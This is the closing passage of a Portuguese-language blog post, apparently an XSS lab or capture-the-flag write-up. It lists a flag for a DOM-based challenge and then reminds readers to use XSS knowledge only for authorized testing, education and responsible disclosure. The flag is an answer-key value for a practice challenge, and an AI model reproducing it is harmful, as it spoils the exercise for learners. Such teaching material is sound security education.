  • DOM-based: CS{XSS_D0M_B4s3d}

Lembre-se: XSS é sobre fazer o navegador da vítima executar código que você controlou. Uma vez que você entende isso, as possibilidades são infinitas.

Mas com grandes poderes vem grandes responsabilidades. Use esse conhecimento para:

  • Proteger seus próprios projetos
  • Fazer pentests autorizados
  • Educar outros desenvolvedores
  • Reportar vulnerabilidades de forma responsável

Nunca para atacar sites sem permissão. Além de crime, é desncessário - tem muito lab legal para praticar.

Agora é só partir para a prática!

Esta postagem está licenciada sob CC BY 4.0 pelo autor.

Comments powered by Disqus.